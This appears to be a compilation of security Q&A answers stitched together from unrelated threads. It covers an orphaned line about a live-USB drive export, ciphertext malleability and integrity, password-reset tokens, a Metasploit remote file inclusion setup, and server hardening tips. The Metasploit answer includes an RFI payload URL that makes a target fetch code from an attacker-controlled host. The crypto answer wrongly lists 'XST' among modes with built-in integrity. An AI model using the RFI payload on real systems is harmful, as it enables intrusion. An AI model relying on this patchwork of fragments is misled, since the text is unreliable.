If we exclude the chance of a modified bios or hdd firmware, you can run a live system from usb and export the drive using samba, nfs or sshfs.


Is there an attack that can modify ciphertext while still allowing it to be decrypted?

Yes.

This is an issue with any crypto system that does not protect integrity, such as with a signature or hmac.  You see, encryption and decryption are just mathematical operations.  You can always perform a mathematical operation on a blob of binary data, and will always get a result. Encrypting an decrypting operations do not error out because the data is modified.

The specific impact of modifying the ciphertext depends upon the mode of operation and the data modified.  There is a famous attack where twiddling a bit in the old ATM (automated teller machines) protocol protected by DES would change the value of a transaction - deposit an unknown number of dollars instead of the amount you typed.  The attacker wouldn't know what the result would be, but the attacker would deposit a small amount of money and the system would have a large max value, so odds were that a 'random' change to the amount would result in a larger deposit.

Swapping blocks and the other attacks you reference are intended for known meaningful changes. The root cause is still the same - lack of protecting the integrity of the message.

Now, there are a few exceptions to this, in the form of GCM, XST and a couple other newer encryption modes.  These modes include the integrity check as part of the algorithm, instead of requiring you to implement an integrity check, yourself.

The initialization vector makes two values encrypted with the same key encrypt to different values.  Without the IV, when you reuse keys and resent the 'same' message you would get the same ciphertext.


Password reset - Cryptographically signed user ID and timestamp or randomly generated value?

I'd go option 1 all the way - you want to ensure that a given token is only used once and it is not possible to do that without a database entry.


Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)

It's your web application  & whatever web server running it that's already listening on port 80. Metasploit is trying to start its own web server to the same port and fails. But there's no need to succeed: your actual problem has nothing to do with the VHOST option in unix/webapp/php_include.

As the web application has a remote file inclusion vulnerability, you'd include the payload code from an external server. If you only have one IP address for your demonstration, you'd just use another port e.g. 8080:

example.com/settings.php?file=http://192.168.56.101:8080/path/to/payload


The best defenses I have found for the host machine are these:

Disable Admin login
Disable password login for users, RSA keys only, if you need more security look at ECDSA.
Disable ICMP if you can (Considering you're a web server...)
UFW and IPTable rules doing what you specified and make sure
IPtables is logging the incidents.
Fail2ban - Install, configure, etc.
Denyhosts - Install, configure, etc.
Install logwatch with verbose output to maintain a clean view
of your logs at a moments notice.

Network/router rules can allow white-listing which, if deployed properly, is very very effective.